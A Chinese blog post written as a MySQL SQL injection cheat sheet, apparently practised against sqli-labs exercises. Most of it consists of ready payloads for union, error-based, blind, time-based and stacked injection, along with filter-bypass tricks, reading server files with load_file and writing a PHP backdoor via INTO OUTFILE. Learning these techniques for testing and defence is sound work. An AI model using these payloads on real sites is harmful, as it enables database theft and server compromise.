sql注入神功大法

发布时间 2023-07-24 16:25:47作者: kalixcn

一、mysql常用函数与参数

函数或者参数 用法
version() 数据库版本
user() 数据库用户名
database() 数据库名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
=、>、>=、<> 比较运算符
and、or 逻辑运算符
sleep() 休眠时间为指定秒数
if(true,t,f) if判断
length() 返回字符串的长度
substr() 截取字符串
substring() 截取字符串
mid() 截取字符串
ord() 返回ASCII码
ascii() 返回ASCII码
hex() 将字符串转换为十六进制
unhex() hex的反向操作
md5() 返回MD5值
floor(x) 返回不小于x的最大整数
round() 返回0-1之间的随机浮点数
rand() 返回0-1之间的浮点数
load_file() 读取文件,并返回文件内容作为一个字符串
find_in_set() 返回字符串在字符串列表中的位置
benchmark() 指定语句执行的次数
name_const() 返回表作为的次数
current_user() 当前用户名
concat() 没有分隔符的连接字符串
concat_ws() 含有分隔符的连接字符串
group_concat() 连接一个组的字符串

二、注入点判断

判断注入点是否存在
首先我们需要判断注入点是否存在,例如:http://xxxx.xxx/?id=1 我们就可以尝试改变id的数值,将参数值+1或者-1,看看页面是否有明显的变化,如果有变化可以初步判断这个参数带入数据库查询,查询后的内容会显示到页面中。接下来我们就可以进行测试,看看我们传入的参数是否会被带人数据库查询
判断注入类型
添加单用户
添加了单用户之后,如果页面中直接报错,并且报错的信息显示到页面中,说明输入的单用户被带入了数据库查询,因此存在sql注入漏洞,并结合之前的回显,就可以尝试进行联合查询或者报错注入。
添加逻辑运算
添加了逻辑运算符之后提交,因为1=1恒为真,而1=1恒为假,所有如果我们的输入带入了数据库,一定会影响到sql语句的布尔状态,如果两次查询返回页面不同,则可以使用布尔盲注进行注入。
添加sleep()函数
sleep()函数可以让程序在当前位置停留指定的时间,在参数后面添加and sleep(3)然后观察页面响应时间是否明显变长,如果变长说明此处存在注入漏洞,可以使用延时注入。

三、用于尝试的语句

or 1=1 --+
' or 1=1 --+
" or 1=1 --+
) or 1=1 --+
') or 1=1 --+
") or 1=1 --+
")) or 1=1 --+
其中--+可以用#替换,url提交过程中URL编码后的#为%23

四、联合查询注入

mysql有一个系统数据库information_schema,存储着所有数据库相关信息。
条件:传入的参数有不同的回显;两张表需要有相同的列数
步骤

  1. 闭合参数,判断当前表有多少列(order by)
  2. 使前面的查询语句为假,再判断数据显示位置,使用union select语句查看
  3. 将判断出来的显示位置替换为database()和version()查询出当前使用的数据库名和mysql版本
    如:

?id=-1' union select 1,database(),version() --+

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='xxx'--+

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='xxx' and table_schema='xxx'--+

五、报错注入

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中,报错注入的使用条件是,数据库查询时发生的错误会直接显示到页面中。
group by重复建冲突报错
可以在参数后直接加上and (select 1 from (select count(),concat((select database() from information_schema.tables limit 0,1),floor(rand()2))x from information_schema.tables group by x)a) --+

xpath语法错误
利用xpath语法错误来进行报错注入,主要利用extractvalue()和updatexml()两个函数。
利用条件:mysql版本>5.1.5
使用方法:
在参数后添加
and extractvalue(1,concat('^',(select database(),'^')))--+
或者:
and updatexml(1,concat('^',(select database(),'^'),1))--+

http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and extractvalue(1,concat('^',(select database()),'^'))--+
或者
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and updatexml(1,concat('^',(select database()),'^'),1)--+

六、布尔盲注

布尔盲注,在页面没有回显,并且也不会在前台直接显示出错误信息时,我们可以判断页面中是否有布尔状态来尝试进行布尔盲注。
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and length(database())=1 --+
不断改变length(database())=的数值,当条件为真时,页面就会显示正常,判断出数据库的长度了。
?id=2' and length(database())=8--+
判断数据库的具体名称,通过substr()函数来一位一位的截取数据库名,来逐位的比对。
?id=2' and substr(database(),1,1)='s'--+
substr(database(),1,1)='s'的意思就是截取数据库名的第一位,判断是否是s;如果结果为真,页面自然会显示正常。

七、延时注入

延时注入与布尔盲注的操作类似,区别在于,当页面没有布尔状态时,我们可以通过观察页面响应时间是否变长来判断我们输入的条件是否正确。
?id=1' and if ((length(database())=8),sleep(5),1)--+
if((length(database())=8,sleep(5),1))的意思就是判断数据的长度是否为8,如果是就延时5秒。
?id=1' and if((substr(database(),1,1)='s'),sleep(5),1) --+

八、堆叠查询注入

在SQL中,分号(;)是用来表示一条sql语句的结束,我们在结束一个sql语句后继续构造下一条语句,数据库仍然会继续执行,这样也导致了堆叠查询注入。

与联合查询的区别:
联合查询执行的语句类型是有限的,只能用来执行查询语句,而堆叠查询注入可以执行的是任意的语句。

盲注

何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称为盲注。盲注分为三类

  • 基于布尔SQL盲注
  • 基于时间的SQL盲注
  • 基于报错的SQL盲注

关键函数

  1. mid()函数
    mid(column_name,start,length):截取字符串的一部分。例如:str="123456" mid(str,2,1) 结果为2
    用法
    • mid(database(),1,1)>'a',查看数据库名第一位,mid(database(),2,1)查看数据库第二位,依次查看各位字符。
    • mid((select table_name from information_schema.tables where table_schema='xxx' limit 0,1),1,1)>'a'
  • mid((select column_name from information_schema.columns where table_name='xxxx' limit 0,1),1,1)>'a'

就一位一位去猜,就是这样的!

  1. substr()函数
    substr()和substring()函数实现的功能都是一样的,都是截取字符串。
    substr(string,start,length)
    substring(string,start,length)
    参数描述同mid()函数一样,第一个参数为要处理的字符串,start开始位置,length为截取的长度

用法

  • substr(database(),1,1)>'a',查看数据库名第一位,substr(database(),2,1)查看数据库名第二位,依次查看各位字符。
  • substr((select table_name from information_schema.tables where table_schema='xxx' limit 0,1),1,1)>'a'此处string参数可以为sql语句,可自行构造sql语句进行注入
  • substr((select column_name from information_schema.columns where table_name='xxx' limit 0,1),1,1)>'a'
  1. left()函数
    left()得到字符串左边指定个数的字符
    left(string,n) string为要截取的字符串,n为长度。

用法

  • left(database(),1)>'a',查看数据库名第一位,left(database(),2)>'ab',查看数据库名前二位。
  • 同样的string可以为自行构造的sql语句
  1. ord()函数
    此函数为返回第一个字符的ASCII码,经常与上面的函数进行结合使用。
    用法:ord(mid(database(),1,1))>114意为检测database()的第一位ASCII码是否大于114,也是'r'

基于布尔SQL盲注

http://test.sql.com/Less-5/?id=1

  1. 数据库猜测
    ' and left(database(),1)>'s' --+,left(a,b)从左侧截取a
    ' and ascii(substr((select table_name from information_schema.tables where tables_schema='xxx' limit 0,1),1,1))=101 --+
    substr(a,b,c)从b位置开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值

regexp正则注入
正则注入介绍:http://www.cnblogs.com/lcamry/articles/5717442.html
使用:select user() regexp '[1]';
user()结果为root,regexp为匹配root的正则表达式。
第二位可以使用select user() regexp '^ro',当正确的时候显示结果为1,不正确显示为0。
实例
1' and 1=(if ((select user() regexp '^r'),1,0))--+
1' and 1=(if(select user() regexp '^ri')) --+
通过if语句的条件判断,返回一些条件句,比如if等构造一个判断,根据返回结果是否等于0或者1进行判断。
1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1) --+

基于报错SQL盲注——构造payload让信息通过错误提示回显出来

select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a;
简化:

  • select count() from information_schema.tables group by concat(version(),floor(rand(0)2))

导入导出相关操作的讲解

1. load_file()导出文件
load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件

  • 必须有权限读取并且文件必须完全可读
  • 欲读取文件必须在服务器上
  • 必须指定文件完整的路径
  • 欲读取文件必须小于max_allowed_packet
    利用难点:
    绝对物理路径
    构造有效的畸形语句(报错爆出绝对路径)
    利用实例:
    -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
    img
    -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
    -1 union select 1,1,1,load_file(c:\boot.ini)

2. 文件导入到数据库
load data infile语句用于高速地从一个文本文件中读取行并装入一个表中。文件名称必须为一个文字字符串。
实例:
load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
将/tmp/t0.txt导入到t0表中,character set gbk是字符集设置为gbk,fields terminated by是每一项数据之间的分隔符,lines terminated by是行的结尾符。

3. 导入到文件
select .... into outfile 'file_name'可以把选择的行写入一个文件中。该文件被创建到服务器主机上,因此必须拥有FILE权限,才能使用此语法。file_name不能是一个存在的文件。
利用形式:

  • 直接将select内容导入到文件中
    select version() into outfile "c:\www\test.php"
    此处将version()替换成一句话,即select into outfile "c:\www\backdoor.php"然后连接一句话就可以了。
    灵活使用:select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’)into outfile
    ‘c:\wamp\www\test.php’

注释绕过(24pass)

一、 使用报错注入
sql语句为:
$sql="select * from users where id='$id' limit 0,1";
此处主要是在获取id参数是进行了#,--注释符号的过滤。
1. 爆字段数
-1' union select 1,'3 报错
-1' union select 1,2,'3 报错
-1' union select 1,@@datadir,'3 正常
-1' union select 1,group_concat((select version()),(select database())),'3 爆版本、数据库
2. 爆数据库
1' or extractvalue(1,concat(0x7e,database(),0x7e)) or '1'='1
3. 爆数据表
1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '1'='1
4. 爆字符
1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e)) or '1'='1
5. 字段值
1' or extractvalue(1,concat(0x7e,(select group_concat(password) from users limit 0,1),0x7e)) or '1'='1

二、 联合注入
1. 获取数据库
-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
2. 查看数据表
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
3. 查看字段
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'3
6. 获取内容
-1' union select 1,(select group_concat(username) from security.users limit 0,1),'3

or、and过滤绕过(25pass)

1. 大小写变形Or,OR
2. 编码,hex,urlencode
3. 添加注释/*or*/
4. 利用符号 and=&& or=||
5. 大写双写绕过
报错注入 or示例
1' || extractvalue(1,concat(0x7e,database(),0x7e))--+

26pass将空格、or、and、/*、#、#、--、/等各种符号过滤,对于空格,有较多的方法:
%09 TAB(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格

sql语法:select * from users where id='$id' limit 0,1
payload:?id=1'%a0||'1
第一个'首先闭合id='$id'中的',%a0是空格的意思,(%a0、%0b空格),||是或者的意思,'1则是为了闭合后面的'
1. 爆库
?id=100'union%0bselect%a01,database(),3||'1

27pass:过滤了union,select和26关过滤掉的字符,使用大小写混合或者uniunionon 也是可以突破限制的。
绕过:?id=100'unIon%a0SelEcT%a01,database(),3||'1

宽字节注入

原理:
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤'的时候,往往利用的思路是将'转换为'\,因此在此想办法将'前面添加的\除掉。
方法:

  1. %df吃掉\,具体的原因是urlencode('\)=%5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,因此%df%5c就是一个汉字,%27则作为一个单独的字符在外面,
  2. 将'中的\过滤掉,例如可以构造%**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。

addslashes()函数返回在预定义字符之前添加反斜杠的字符串
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
注意:使用addslashes(),我们需要将mysql_query设置为binary的方式,才能防御此漏洞。
mysql_query("set character_set_connection=gbk,character_set_result=gbk,character_set_clinet=binary",$conn);

mysql_real_escape_string()函数转义SQL语句中使用的字符串中的特殊字符。
以下字符受影响:
\x00
\n
\r

'
"
\x1a
如果成功,则该函数返回被转义的字符串,如果失败,则返回false。


  1. a-z ↩︎